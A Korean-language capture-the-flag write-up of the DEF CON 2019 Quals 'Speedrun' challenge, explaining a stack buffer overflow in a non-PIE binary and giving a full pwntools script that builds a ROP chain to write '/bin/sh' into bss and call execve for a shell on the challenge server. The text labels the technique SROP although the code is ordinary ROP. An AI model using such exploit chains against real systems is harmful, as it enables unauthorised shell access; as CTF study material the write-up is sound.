[DEFCON 2019 Quals] Speedrun

2019-05-18

2019년 데프콘 CTF 스피드런 문제를 리뷰 해보도록 하겠습니다. 우선 우리는 문제를 실행시켜 보겠습니다.

이렇게 실행되어지는 문제이고 이것을 분석하기 위하여 IDA를 사용하여 열어보면 굉장히 큰 바이너리로 이루어 진 것을 알 수 있습니다. 하지만 우리는 실행시켰을 때 알아낸 문자열을 통하여 실행 부분을 찾을수 있습니다. 이렇게 찾게되고 그것의 main함수 까지 알아 냅니다. 이때 우리는 buf의 크기보다 더 많은 양을 넣을 수 있는 read 함수를 찾을 수 있습니다. 따라서 우리는 overflow가 된다는 것을 알 수 있습니다. 우선 우리는 보호기법을 체크해줍니다. 그러면 PIE가 걸려있지 않기 때문에 IDA에서 본 주소와 동일하게 사용가능한 것을 알 수 있습니다.

그렇기에 우리는 read 양만큼의 A 문자를 넣어보면 무리 없이 들어간 다는 것을 알 수 있습니다. 따라서 우리는 SROP를 통한 익스 플로잇 코드를 작성해야 한다는 것을 알 수 있습니다.

그렇기에 우리는 rop 명령어를 통한 가젯들을 수집합니다. (pop rdi, pop rsi, pop rdx, pop rax, syscall) 그리고 우리는 처음 /bin/sh 문자열을 넣을 위치를 정하여야 합니다. 따라서 elfheader 명령어를 통한 bss 영역의 주소를 알아낼 수 있습니다. 그 후 우리는 bss영역에 read함수를 이용하여 /bin/sh 문자열을 대입하고 execve 함수를 통하여 /bin/sh 를 실행하는 코드를 작성합니다.

from pwn import *

p = remote("speedrun-001.quals2019.oooverflow.io", 31337)

def dd(payload):
	p.recvuntil('Any last words?')
	p.sendline(payload)

syscall = 0x474e65
pop_rax = 0x415664
pop_rdi = 0x400686
pop_rsi = 0x4101f3
pop_rdx = 0x4498b5
main_addr = 0x400BC1

bss = 0x006bc000-0x100


payload = 'A'*0x400
payload += p64(bss - 0x100)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx) + p64(8)
payload += p64(pop_rax) + p64(0)
payload += p64(syscall)
payload += p64(main_addr)

dd(payload)

p.send('/bin/sh\x00')


payload = 'A' * 0x400
payload += p64(0xdeadbeef)
payload += p64(pop_rdi) + p64(bss)
payload += p64(pop_rsi)+ p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rax) + p64(59)
payload += p64(syscall)
payload += p64(main_addr)

dd(payload)
p.recvuntil("A"*0x400)
p.sendline("/bin/sh;")
p.sendline("cat flag")

p.interactive()

작성한 코드를 실행시킨다면 우리는 flag를 획득할 수 있습니다.